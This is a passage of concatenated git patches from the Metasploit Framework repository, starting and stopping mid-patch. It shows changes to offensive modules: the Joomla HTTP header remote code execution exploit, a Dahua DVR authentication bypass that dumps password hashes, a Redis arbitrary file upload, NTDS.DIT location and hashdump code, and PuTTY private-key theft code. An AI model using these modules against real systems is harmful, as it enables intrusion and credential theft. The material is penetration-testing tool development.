loc = ntds_location + print_status "Original location #{loc.flatten}" + end + def ntdsutil_method tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb deleted file mode 100644 index 39cd06c36c..0000000000 --- a/modules/post/windows/gather/ntds_location.rb +++ /dev/null @@ -1,271 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' -require 'msf/core/post/windows/registry' - -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Common - include Msf::Post::File - include Msf::Post::Windows::Registry - - NTDS_REGISTRY_KEY = "HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment'] - - def initialize(info = {}) - super(update_info(info, - 'Name' => "NTDS.DIT Location Module", - 'Description' => %q{ - This module will search the registry to identify the location of the NTDS.DIT file and directory. - It is useful when looking to manually retrieve this file from a domain controller. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'] - )) - end - - def get_saved_session_details(sessions) - all_sessions = [] - sessions.each do |ses| - newses = {} - newses['Name'] = Rex::Text.uri_decode(ses) - INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s - end - all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) - end - all_sessions - end - - def display_saved_sessions_report(info) - # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( - 'Header' => "PuTTY Saved Sessions", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => ['Name'].append(INTERESTING_KEYS).flatten - ) - - info.each do |result| - row = [] - row << result['Name'] - INTERESTING_KEYS.each do |key| - row << result[key] - end - results_table << row - end - - print_line - print_line results_table.to_s - stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") - print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") - end - - def display_private_key_analysis(info) - # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( - 'Header' => "PuTTY Private Keys", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS - ) - - info.each do |result| - row = [] - PUTTY_PRIVATE_KEY_ANALYSIS.each do |key| - row << result[key] - end - results_table << row - end - - print_line - print_line results_table.to_s - # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") - # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") - end - - def get_stored_host_key_details(allkeys) - # This hash will store (as the key) host:port pairs. This is basically a quick way of - # getting a unique list of host:port pairs. - all_ssh_host_keys = {} - - # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. - rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i - - # Go through each of the stored keys found in the registry - allkeys.each do |key| - # Store the raw key and value in a hash to start off with - newkey = { - rawname: key, - rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s - } - - # Take the key and split up host, port and fingerprint type. If it matches, store the information - # in the hash for later. - split_hostporttype = rx_split_hostporttype.match(key.to_s) - if split_hostporttype - - # Extract the host, port and key type into the hash - newkey['host'] = split_hostporttype[:host] - newkey['port'] = split_hostporttype[:port] - newkey['type'] = split_hostporttype[:type] - - # Form the key - host_port = "#{newkey['host']}:#{newkey['port']}" - - # Add it to the consolidation hash. If the same IP has different key types, append to the array - all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? - all_ssh_host_keys[host_port] << newkey['type'] - end - report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) - end - all_ssh_host_keys - end - - def display_stored_host_keys_report(info) - # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( - 'Header' => "Stored SSH host key fingerprints", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => ['SSH Endpoint', 'Key Type(s)'] - ) - - info.each do |key, result| - row = [] - row << key - row << result.join(', ') - results_table << row - end - - print_line - print_line results_table.to_s - stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List") - print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).") - end - - def grab_private_keys(sessions) - private_key_summary = [] - sessions.each do |ses| - filename = ses['PublicKeyFile'].to_s - next if filename.empty? - - # Check whether the file exists. - if file?(filename) - ppk = read_file(filename) - if ppk # Attempt to read the contents of the file - stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") - - # Now analyse the private key - private_key = {} - private_key['Name'] = ses['Name'] - private_key['UserName'] = ses['UserName'] - private_key['HostName'] = ses['HostName'] - private_key['PublicKeyFile'] = ses['PublicKeyFile'] - private_key['Type'] = '' - private_key['Cipher'] = '' - private_key['Comment'] = '' - - # Get type of key - if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ - # This is an SSH1 header - private_key['Type'] = 'ssh1' - private_key['Comment'] = '-' - if ppk[33] == "\x00" - private_key['Cipher'] = 'none' - elsif ppk[33] == "\x03" - private_key['Cipher'] = '3DES' - else - private_key['Cipher'] = '(Unrecognised)' - end - elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s) - # This is an SSH2 header - private_key['Type'] = "ssh2 (#{rx[:keytype]})" - if rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) - private_key['Cipher'] = rx[:cipher] - else - private_key['Cipher'] = '(Unrecognised)' - end - - if rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s) - private_key['Comment'] = rx[:comment] - end - end - private_key_summary << private_key - else - print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc - end - else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") - end - end - private_key_summary - end - - # Entry point - def run - # Look for saved sessions, break out if not. - print_status("Looking for saved PuTTY sessions") - saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") - if saved_sessions.nil? || saved_sessions.empty? - print_error('No saved sessions found') - else - - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}") - - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) - - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - private_key_info = grab_private_keys(all_saved_sessions) - if !private_key_info.nil? && !private_key_info.empty? - print_line - display_private_key_analysis(private_key_info) - end - end - - print_line # Just for readability - - # Now search for SSH stored keys. These could be useful because it shows hosts that the user - # has previously connected to and accepted a key from. - print_status("Looking for previously stored SSH host key fingerprints") - stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys") - if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? - print_error('No stored SSH host keys found') - else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}") - - # Retrieve the saved session details & print them to the screen in a report - print_status("Downloading stored key fingerprints...") - all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - if all_stored_keys.nil? || all_stored_keys.empty? - print_error("No stored key fingerprints found") - else - display_stored_host_keys_report(all_stored_keys) - end - end - - print_line # Just for readability - - print_status("Looking for Pageant...") - hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") - if hwnd['return'] - print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})") - else - print_error("Pageant is not running") - end - end -end From 5bb8dbcafc6819ef67584446c9d737bf37999ce9 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 15 Dec 2015 16:45:45 -0500 Subject: [PATCH 1607/2172] added peer to users table --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index a044e6c11c..cb4ab07090 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -207,12 +207,12 @@ class Metasploit3 < Msf::Auxiliary users_table = Rex::Ui::Text::Table.new( 'Header' => 'Dahua Users Hashes and Rights', 'Indent' => 1, - 'Columns' => ['Username', 'Password Hash', 'Groups', 'Permissions', 'Description'] + 'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description'] ) data.each do |val| usercount += 1 user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures - users_table << [user, md5hash, groups, rights, name] + users_table << [ peer, user, md5hash, groups, rights, name] # Write the dahua hash to the database hash = "#{rhost} #{user}:$dahua$#{md5hash}" report_hash(rhost, rport, user, hash) From 7fa453b7ff423469380a8baa91a7c6ed05d52bd2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 22:31:00 +0000 Subject: [PATCH 1608/2172] Added module --- modules/post/windows/gather/ntds_location.rb | 36 ++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 modules/post/windows/gather/ntds_location.rb diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb new file mode 100644 index 0000000000..2a5f6ca51e --- /dev/null +++ b/modules/post/windows/gather/ntds_location.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info = {}) + super(update_info(info, + 'Name' => "NTDS.DIT Location Module", + 'Description' => %q{ + This module will find the location of the NTDS.DIT file (from the registry), check that it exists + and display it on the screen. Useful if you wish to manually acquire the file using ntdsutil or vss. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'] + )) + end + + def run + working_dir = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters","DSA Working Directory").to_s + + end + +end From 281966023cf9d4303a8a5dbfdafebd6298e4a666 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 23:10:06 +0000 Subject: [PATCH 1609/2172] Final version --- modules/post/windows/gather/ntds_location.rb | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 2a5f6ca51e..47e0713f45 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -29,8 +29,23 @@ class Metasploit3 < Msf::Post end def run - working_dir = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters","DSA Working Directory").to_s - + # Find the NTDS.DIT location in the registry + ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s + if !ntds + print_error("Unable to find the NTDS.DIT location.") + return + end + + if file?(ntds) + f = client.fs.file.stat(ntds) + print_line("NTDS.DIT is located at: #{ntds}") + print_line(" Size: #{f.size} bytes") + print_line(" Created: #{f.ctime}") + print_line(" Modified: #{f.mtime}") + print_line(" Accessed: #{f.atime}") + else + print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") + end end end From a2b30ff16ef3913dbee5ad6eb39092a0f51c5324 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 23:11:40 +0000 Subject: [PATCH 1610/2172] msftidy --- modules/post/windows/gather/ntds_location.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 47e0713f45..0376f43ca0 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Post def run # Find the NTDS.DIT location in the registry - ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s + ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s if !ntds print_error("Unable to find the NTDS.DIT location.") return @@ -39,10 +39,10 @@ class Metasploit3 < Msf::Post if file?(ntds) f = client.fs.file.stat(ntds) print_line("NTDS.DIT is located at: #{ntds}") - print_line(" Size: #{f.size} bytes") - print_line(" Created: #{f.ctime}") - print_line(" Modified: #{f.mtime}") - print_line(" Accessed: #{f.atime}") + print_line(" Size: #{f.size} bytes") + print_line(" Created: #{f.ctime}") + print_line(" Modified: #{f.mtime}") + print_line(" Accessed: #{f.atime}") else print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") end From fef9a845480c2ff11c5a354def53d1bba275b74a Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 23:12:14 +0000 Subject: [PATCH 1611/2172] rubocop --- modules/post/windows/gather/ntds_location.rb | 23 ++++++++++---------- 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 0376f43ca0..fd48e578b0 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -30,22 +30,21 @@ class Metasploit3 < Msf::Post def run # Find the NTDS.DIT location in the registry - ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s - if !ntds - print_error("Unable to find the NTDS.DIT location.") - return + ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "DSA Database file").to_s + unless ntds + print_error("Unable to find the NTDS.DIT location.") + return end if file?(ntds) - f = client.fs.file.stat(ntds) - print_line("NTDS.DIT is located at: #{ntds}") - print_line(" Size: #{f.size} bytes") - print_line(" Created: #{f.ctime}") - print_line(" Modified: #{f.mtime}") - print_line(" Accessed: #{f.atime}") + f = client.fs.file.stat(ntds) + print_line("NTDS.DIT is located at: #{ntds}") + print_line(" Size: #{f.size} bytes") + print_line(" Created: #{f.ctime}") + print_line(" Modified: #{f.mtime}") + print_line(" Accessed: #{f.atime}") else - print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") + print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") end end - end From 5dd8cb7648fc5dee93a5f0f0a7bd277c7554f3de Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 23:13:02 +0000 Subject: [PATCH 1612/2172] proper type conversions --- modules/post/windows/gather/ntds_location.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index fd48e578b0..ddbdea28ee 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -39,10 +39,10 @@ class Metasploit3 < Msf::Post if file?(ntds) f = client.fs.file.stat(ntds) print_line("NTDS.DIT is located at: #{ntds}") - print_line(" Size: #{f.size} bytes") - print_line(" Created: #{f.ctime}") - print_line(" Modified: #{f.mtime}") - print_line(" Accessed: #{f.atime}") + print_line(" Size: #{f.size.to_s} bytes") + print_line(" Created: #{f.ctime.to_s}") + print_line(" Modified: #{f.mtime.to_s}") + print_line(" Accessed: #{f.atime.to_s}") else print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") end From 2c29298485f88ba23d1adbf9878132e8dc05d58e Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 23:16:21 +0000 Subject: [PATCH 1613/2172] undoing this, put in a separate module --- modules/post/windows/gather/credentials/domain_hashdump.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index fc1ac23b61..a90b6d3ac1 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -80,11 +80,6 @@ class Metasploit3 < Msf::Post @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory") end - def check - loc = ntds_location - print_status "Original location #{loc.flatten}" - end - def ntdsutil_method tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" From d4ade7a1fd1f551b8f653faa9bc985ec79911e60 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 00:18:39 +0100 Subject: [PATCH 1614/2172] update check method --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 3e94000d64..52ea087395 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,13 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") - if php_version >= '5.4' + vulnerable = false + vulnerable = true if php_version < '5.4' + vulnerable = true if php_version.start_with?('5.4') && php_version < '5.4.45' + vulnerable = true if php_version.start_with?('5.5') && php_version < '5.5.29' + vulnerable = true if php_version.start_with?('5.6') && php_version < '5.6.13' + + unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end @@ -79,6 +85,9 @@ class Metasploit3 < Msf::Exploit::Remote end end + res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) + return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>') + Exploit::CheckCode::Safe end From 342ce05ff7ec8124172880c0fe5693bafe4bf248 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Wed, 16 Dec 2015 04:28:52 +0000 Subject: [PATCH 1615/2172] add a DISABLE_RDBCOMPRESSION option for redis file_upload --- modules/auxiliary/scanner/redis/file_upload.rb | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index bfac68137b..b977411db9 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -43,7 +43,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), - OptString.new('RemoteFile', [false, 'Remote file path']) + OptString.new('RemoteFile', [false, 'Remote file path']), + OptBool.new('DISABLE_RDBCOMPRESSION', [false, 'Disable string compression when dump .rdb databases', true]) ] ) end @@ -59,6 +60,7 @@ class Metasploit3 < Msf::Auxiliary # XXX: this is a hack -- we should really parse the responses more correctly original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last + original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last # set the directory which stores the current redis local store data = redis_command('CONFIG', 'SET', 'dir', dirname) @@ -68,6 +70,17 @@ class Metasploit3 < Msf::Auxiliary data = redis_command('CONFIG', 'SET', 'dbfilename', basename) return unless data.include?('+OK') + # Compression string objects using LZF when dump .rdb databases ? + # For default that's set to 'yes' as it's almost always a win. + # If you want to save some CPU in the saving child set it to 'no' but + # the dataset will likely be bigger if you have compressible values or + # keys. + + if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' + data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') + return unless data.include?('+OK') + end + # set a key in this db that contains our content # XXX: this does not work well (at all) if the content we are uploading is # multiline. It also probably doesn't work well if the content isn't @@ -76,6 +89,7 @@ class Metasploit3 < Msf::Auxiliary data = redis_command('SET', key, content) return unless data.include?('+OK') data = redis_command('SAVE') + if data.include?('+OK') print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}") else @@ -87,6 +101,7 @@ class Metasploit3 < Msf::Auxiliary # XXX: ensure that these get sent if we prematurely return if a previous command fails redis_command('CONFIG', 'SET', 'dir', original_dir) redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) + redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression) redis_command('DEL', key) redis_command('SAVE') end From 2e54cd2ca78e8f9cf84d9e7ab6e472df3c753aee Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 06:42:41 +0100 Subject: [PATCH 1616/2172] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 52ea087395..489632f815 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -17,7 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read - from the databse + from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. + In later versions the deserialisation of invalid session data stops on the first error and the + exploit will not work. }, 'Author' => [ @@ -32,7 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], - ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'] + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], + ['URL', 'https://bugs.php.net/bug.php?id=70219'] ], 'Privileged' => false, 'Platform' => 'php', From c2795d58cb3e86768760a01a223771cff22d542f Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 06:55:23 +0100 Subject: [PATCH 1617/2172] use target_uri.path --- modules/exploits/multi/http/joomla_http_header_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 489632f815..9b16a3279f 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -120,13 +120,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending payload ...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => target_uri.to_s, + 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) session_cookie = res.get_cookies res = send_request_cgi({ 'method' => 'GET', - 'uri' => target_uri.to_s, + 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { 'CMD' => Rex::Text.encode_base64(payload.encoded) From d80a7e662fb939e3e454fa3ba0b279fdd0c8b3a5 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 06:57:06 +0100 Subject: [PATCH 1618/2172] some formatting --- .../exploits/multi/http/joomla_http_header_rce.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9b16a3279f..8e34e7a35a 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [['Joomla', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) - ) + ) register_options( [ @@ -119,15 +119,15 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending payload ...") res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_uri.path, + 'method' => 'GET', + 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) session_cookie = res.get_cookies res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_uri.path, - 'cookie' => session_cookie, + 'method' => 'GET', + 'uri' => target_uri.path, + 'cookie' => session_cookie, 'headers' => { 'CMD' => Rex::Text.encode_base64(payload.encoded) } From 595645bcd7537666bbf2b34aee002ec7a9827f8a Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 07:03:01 +0100 Subject: [PATCH 1619/2172] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 8e34e7a35a..053a0c8042 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', 'Description' => %q{ - Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. + Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. From 01b943ec937f027065f9bf7f299fd852b8466c8b Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 16 Dec 2015 07:26:25 +0100 Subject: [PATCH 1620/2172] fix check method --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 053a0c8042..1b72f2afbc 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>') - Exploit::CheckCode::Safe + Exploit::CheckCode::Unknown end def get_payload From d110c6cc73e86d4b9abe4d1b603e7c6c2d5c4bfb Mon Sep 17 00:00:00 2001 From: pyllyukko <pyllyukko@maimed.org> Date: Wed, 16 Dec 2015 13:36:37 +0200 Subject: [PATCH 1621/2172] Added few references to ipmi_dumphashes --- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 9d64d504af..c6d1f16d8e 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ 